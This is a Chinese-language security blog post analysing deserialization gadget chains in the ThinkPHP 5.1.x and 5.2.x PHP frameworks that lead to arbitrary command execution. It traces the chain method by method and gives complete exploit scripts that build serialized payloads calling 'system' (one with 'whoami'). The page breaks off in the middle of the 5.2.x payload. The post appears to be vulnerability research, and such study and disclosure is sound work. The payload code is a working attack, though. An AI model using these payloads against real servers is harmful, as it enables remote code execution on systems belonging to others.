<!DOCTYPE html>



  


<html class="theme-next mist use-motion" lang="">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="代码审计,">










<meta name="description" content="5.1.x 测试环境 tp5.1.35 php7.0.9  代码分析框架最后触发执行任意命令的利用点在/thinkphp/library/think/Request.php中的filterValue函数，该函数中存在call_user_func($filter, $value);，通过反序列化我们最终可以实现对$filter, $value两个变量的控制，进而执行任意命令  从头跟一下利用链 起始">
<meta name="keywords" content="代码审计">
<meta property="og:type" content="article">
<meta property="og:title" content="thinkphp反序列化漏洞分析">
<meta property="og:url" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/index.html">
<meta property="og:site_name" content="yemoli&#39;s blog">
<meta property="og:description" content="5.1.x 测试环境 tp5.1.35 php7.0.9  代码分析框架最后触发执行任意命令的利用点在/thinkphp/library/think/Request.php中的filterValue函数，该函数中存在call_user_func($filter, $value);，通过反序列化我们最终可以实现对$filter, $value两个变量的控制，进而执行任意命令  从头跟一下利用链 起始">
<meta property="og:locale" content="default">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/1.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/2.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/3.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/4.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/5.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/6.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/7.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/8.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/9.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/10.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/11.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/14.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/13.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/15.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/16.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/17.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/18.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/19.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/20.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/21.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/22.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/23.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/24.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/25.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/26.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/27.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/28.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/29.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/30.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/31.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/32.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/33.png">
<meta property="og:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/34.png">
<meta property="og:updated_time" content="2020-03-11T14:26:49.576Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="thinkphp反序列化漏洞分析">
<meta name="twitter:description" content="5.1.x 测试环境 tp5.1.35 php7.0.9  代码分析框架最后触发执行任意命令的利用点在/thinkphp/library/think/Request.php中的filterValue函数，该函数中存在call_user_func($filter, $value);，通过反序列化我们最终可以实现对$filter, $value两个变量的控制，进而执行任意命令  从头跟一下利用链 起始">
<meta name="twitter:image" content="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/1.png">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Mist',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/">





  <title>thinkphp反序列化漏洞分析 | yemoli's blog</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>
    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">yemoli's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            Tags
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-friends">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            friends
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://yml-sec.top/2020/03/06/thinkphp反序列化漏洞分析/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="夜莫离、">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="yemoli's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">thinkphp反序列化漏洞分析</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2020-03-06T10:49:17+08:00">
                2020-03-06
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Words count in article&#58;</span>
                
                <span title="Words count in article">
                  3.7k
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Reading time &asymp;</span>
                
                <span title="Reading time">
                  17
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h1 id="5-1-x"><a href="#5-1-x" class="headerlink" title="5.1.x"></a>5.1.x</h1><blockquote>
<p>测试环境</p>
<p>tp5.1.35</p>
<p>php7.0.9</p>
</blockquote>
<h2 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h2><p>框架最后触发执行任意命令的利用点在<code>/thinkphp/library/think/Request.php</code>中的<code>filterValue</code>函数，该函数中存在<code>call_user_func($filter, $value);</code>，通过反序列化我们最终可以实现对<code>$filter, $value</code>两个变量的控制，进而执行任意命令</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/1.png" alt="1"></p>
<p>从头跟一下利用链</p>
<p>起始触发点在<code>thinkphp/library/think/process/pipes/Windows.php</code>中<code>Windows</code>类的<code>__destruct</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/2.png" alt="2"></p>
<p><code>close</code>方法这里用不到，我们跟进一下<code>removeFiles</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/3.png" alt="3"></p>
<p>该方法中调用了<code>file_exists</code>函数，通过这个函数我们可以将<code>$filename</code>赋值成一个对象，这样在调用<code>file_exists</code>函数时就会触发实例化类的<code>__toString</code>方法，这样可以全局搜索<code>__toString</code>方法来寻找利用点，这里使用到了<code>thinkphp\library\think\model\concern\Conversion.php</code>中的<code>__toString</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/4.png" alt="4"></p>
<p>该方法中调用了<code>toJson</code>方法，跟进一下</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/5.png" alt="5"></p>
<p>继续跟进<code>toArray</code>方法，该方法中存在这样一段代码</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/6.png" alt="6"></p>
<p>在这里我们期望来找到形如<code>$可控变量-&gt;方法(可控参数)</code>这样的调用模式，这样就可以使我们跳到其他类调用其他类的方法，即使方法不可控，我们也可以调用其他类的<code>__call</code>方法进而继续寻找利用链，这里注意到了<code>$relation-&gt;visible($name);</code>这行代码，在这里<code>$name</code>是由<code>$this-&gt;append</code>来决定的，可以知道该变量是可控的，接着来看<code>$relation</code>，首先来看<code>$relation = $this-&gt;getRelation($key);</code>中的<code>getRelation</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/7.png" alt="7"></p>
<p>该处返回值为<code>NULL</code>，接着进入到<code>$relation = $this-&gt;getAttr($key);</code>，跟进<code>getAttr</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/8.png" alt="8"></p>
<p>该方法返回值为<code>$value</code>，因此接着跟进<code>getData</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/9.png" alt="9"></p>
<p>该处返回值为<code>$this-&gt;data[$name]</code>，其中<code>$name</code>取决于<code>$this-&gt;data</code>，这里<code>$this-&gt;data</code>是可控的，那么也就意味着<code>$relation</code>是可控的，那么该处<code>$relation-&gt;visible($name);</code>的模式为<code>$可控变量-&gt;不可控方法(可控参数)</code>，该处的条件可以使我们调用任意不存在<code>visible</code>方法的类的<code>__call</code>方法，接着来全局搜索<code>__call</code>方法，在这里我们利用到了<code>thinkphp/library/think/Request.php</code>中的<code>__call</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/10.png" alt="10"></p>
<p>该方法中存在<code>call_user_func_array</code>函数，其中第一个参数我们可以控制，第二个参数由于上面<code>array_unshift</code>函数的原因，其数组中第一个值固定为当前的类对象，这种情况下我们无法去直接在此处执行任意命令，因此我们需要利用此处继续寻找利用点，在Request类中可以发现有如下方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/11.png" alt="11"></p>
<p>该方法中存在着<code>call_user_func</code>这个函数，如果想办法来控制这个函数的两个参数就可以执行任意命令，我们需要来寻找一下何处调用了<code>filterValue</code>方法，这里我们选择同类下的input方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/14.png" alt="14"></p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/13.png" alt="13"></p>
<p>该方法中使用<code>array_walk_recursive</code>函数来调用了<code>filterValue</code>方法，在这里<code>$data</code>决定着<code>filterValue</code>的前两个参数，我们目前无法控制，<code>$filter</code>决定着第三个参数，它来源于该行代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$filter = <span class="keyword">$this</span>-&gt;getFilter($filter, $default);</span><br></pre></td></tr></table></figure>
<p>跟进<code>getFilter</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/15.png" alt="15"></p>
<p>可以看到<code>$filter</code>最终由<code>$this-&gt;filter</code>决定，是可控的，接着为了控制<code>$data</code>的值，我们需要继续寻找调用<code>input</code>方法的方法，这里使用了param方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/16.png" alt="16"></p>
<p>函数返回值处调用了<code>input</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/17.png" alt="17"></p>
<p>该处<code>$this-&gt;param</code>可控，其值为<code>$_GET</code>的值，我们在访问时加上参数即可控制，但该处$name是不可控的，因此在这里需要继续寻找调用<code>param</code>方法的方法，在此使用了<code>isAjax</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/18.png" alt="18"></p>
<p>该处<code>$this-&gt;config[&#39;var_ajax&#39;]</code>是可控的，那么<code>param</code>方法的<code>$name</code>就是可控的，因此input方法中的$name就可控了，这里就可以绕过该处代码使其不受<code>$data = $this-&gt;getData($data, $name);</code>的影响</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/19.png" alt="19"></p>
<p>目前我们可以控制<code>$data</code>和<code>$filter</code>，这也就意味着我们可以执行命令了</p>
<p>最后梳理下链的流程</p>
<figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">反序列化触发</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Windows)</span>-&gt;</span>__destruct</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Windows)</span>-&gt;</span>removeFiles</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(trait Conversion)</span>-&gt;</span>__toString</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(trait Conversion)</span>-&gt;</span>toJson</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(trait Conversion)</span>-&gt;</span>toArray</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Request)</span>-&gt;</span>__call</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Request)</span>-&gt;</span>isAjax</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Request)</span>-&gt;</span>param</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Request)</span>-&gt;</span>input</span><br><span class="line">|</span><br><span class="line"><span class="function"><span class="params">(class Request)</span>-&gt;</span>filterValue-&gt;call_user_func()</span><br></pre></td></tr></table></figure>
<h2 id="payload编写"><a href="#payload编写" class="headerlink" title="payload编写"></a>payload编写</h2><p>理清楚链的流程后对于<code>payload</code>的编写相对来说容易一些，其中在利用的过程中使用到<code>trait Conversion</code>与<code>trait Attribute</code>，他们是不能被实例化的，所以我们需要找到引用了这两个<code>trait</code>的类来进行实例化，这里使用了<code>thinkphp/library/think/Model.php</code>中的<code>Model</code>类</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/20.png" alt="20"></p>
<p>该类的类型为<code>abstract</code>，是一个抽象类，也是无法实例化的，这里还要继续寻找<code>Model</code>类的子类，搜索发现到<code>thinkphp/library/think/model/Pivot.php</code>中的<code>Pivot</code>类，因此<code>exp</code>编写如下</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">facade</span>\<span class="title">Cookie</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">facade</span>\<span class="title">Session</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span></span>&#123;</span><br><span class="line">	<span class="keyword">protected</span> $config = [];</span><br><span class="line">    <span class="keyword">protected</span> $hook = [];</span><br><span class="line">    <span class="keyword">protected</span> $filter;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">    	<span class="keyword">$this</span>-&gt;filter = <span class="string">"system"</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;config = [<span class="string">"var_ajax"</span>=&gt;<span class="string">''</span>];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;hook = [<span class="string">"visible"</span>=&gt;[<span class="keyword">$this</span>,<span class="string">"isAjax"</span>]];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span></span>&#123;</span><br><span class="line">	<span class="keyword">private</span> $data = [];</span><br><span class="line">	<span class="keyword">protected</span> $append = [];</span><br><span class="line">	<span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;append=[<span class="string">'a'</span>=&gt;[<span class="string">'b'</span>=&gt;<span class="string">'c'</span>]];</span><br><span class="line">		<span class="keyword">$this</span>-&gt;data = [<span class="string">'a'</span>=&gt;<span class="keyword">new</span> Request()];</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Pipes</span></span>&#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Process</span>;</span><br><span class="line"><span class="comment">//use think\model\concern\Conversion;</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Windows</span></span>&#123;</span><br><span class="line">	<span class="keyword">private</span> $files = [];</span><br><span class="line">	<span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;files = [<span class="keyword">new</span> Pivot()];</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>\<span class="title">Windows</span>;</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="keyword">new</span> Windows()));</span><br></pre></td></tr></table></figure>
<p>利用截图</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/21.png" alt="21"></p>
<h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><blockquote>
<p><a href="https://xz.aliyun.com/t/6467" target="_blank" rel="noopener">https://xz.aliyun.com/t/6467</a></p>
<p><a href="https://paper.seebug.org/1040/" target="_blank" rel="noopener">https://paper.seebug.org/1040/</a></p>
</blockquote>
<h1 id="5-2-x"><a href="#5-2-x" class="headerlink" title="5.2.x"></a>5.2.x</h1><blockquote>
<p>测试环境</p>
<p>tp5.2.0</p>
<p>php7.3.4</p>
</blockquote>
<h2 id="代码分析-1"><a href="#代码分析-1" class="headerlink" title="代码分析"></a>代码分析</h2><p><code>5.2.0</code>版本的链在前半部分与<code>5.1</code>版本相同，通过<code>vendor/topthink/framework/src/think/process/pipes/Windows.php</code>中的<code>windows</code>类的<code>__destruct</code>方法触发，接着通过removeFiles方法触发<code>vendor/topthink/framework/src/think/model/concern/Conversion.php</code>中<code>Conversion</code>的<code>__toString</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/22.png" alt="22"></p>
<p>跟进<code>toJson</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/23.png" alt="23"></p>
<p>继续跟进<code>toArray</code>方法，需要关注下面的代码段</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/24.png" alt="24"></p>
<p>跟进这个<code>getAttr</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/25.png" alt="25"></p>
<p>它的返回值是另一个方法的返回值，跟进这个方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/26.png" alt="26"></p>
<p>在该方法中存在着<code>$value   = $closure($value, $this-&gt;data);</code>这样一处动态调用，我们可以探究一下<code>$closure</code>，<code>$value</code>，<code>$this-&gt;data</code>这三处是否可控，其中<code>$this-&gt;data</code>是直接可控的</p>
<p>那么来看<code>$closure</code>，其值由<code>$this-&gt;withAttr[$fieldName];</code>决定的，其中<code>$this-&gt;withAttr</code>是可控的，现在需要知道<code>$fieldName</code>是否可控，<code>$fieldName</code>的值由<code>$this-&gt;getRealFieldName($name);</code>决定，跟进<code>getRealFieldName</code>方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/27.png" alt="27"></p>
<p>这里的<code>$this-&gt;strict</code>默认值为<code>true</code>，那么该函数的返回值为<code>$name</code>，该变量是<code>getValue</code>方法的第一个参数，也就是<code>getAttr</code>方法的参数，如下图</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/28.png" alt="28"></p>
<p>在<code>toArray</code>方法中，该参数为<code>$data</code>的一个键值，如图</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/29.png" alt="29"></p>
<p>在这里可以看到<code>$data</code>是可控的，那么意味着<code>$closure</code>是可控的</p>
<p>接着看一下<code>$value</code>，在<code>getValue</code>方法中，<code>$relation</code>为<code>flase</code>，所以这里的<code>$value</code>是当作参数传进来的，如图</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/30.png" alt="30"></p>
<p>向前面找可以看到<code>$value</code>是<code>getData</code>方法的返回值，如图</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/31.png" alt="31"></p>
<p>跟进该方法</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/32.png" alt="32"></p>
<p>该处<code>$fieldName</code>, <code>$this-&gt;data</code>都是可控的，这意味着<code>$value</code>是可控的，在这里<code>$closure($value, $this-&gt;data);</code>就完全可控了，我们可以构造如下的动态调用来执行系统命令</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/33.png" alt="33"></p>
<h2 id="payload编写-1"><a href="#payload编写-1" class="headerlink" title="payload编写"></a>payload编写</h2><p>有了上面的分析流程，结合分析5.1的经验，很容易编写</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $withAttr = [];</span><br><span class="line">    <span class="keyword">private</span> $data = [];</span><br><span class="line">    <span class="keyword">private</span> $relation = [];</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;relation = [<span class="string">'yemoli'</span>=&gt;<span class="string">'whoami'</span>];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;data = <span class="keyword">array</span>();</span><br><span class="line">        <span class="keyword">$this</span>-&gt;withAttr = [<span class="string">'yemoli'</span>=&gt;<span class="string">'system'</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">concern</span>\<span class="title">Conversion</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Windows</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $files = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span 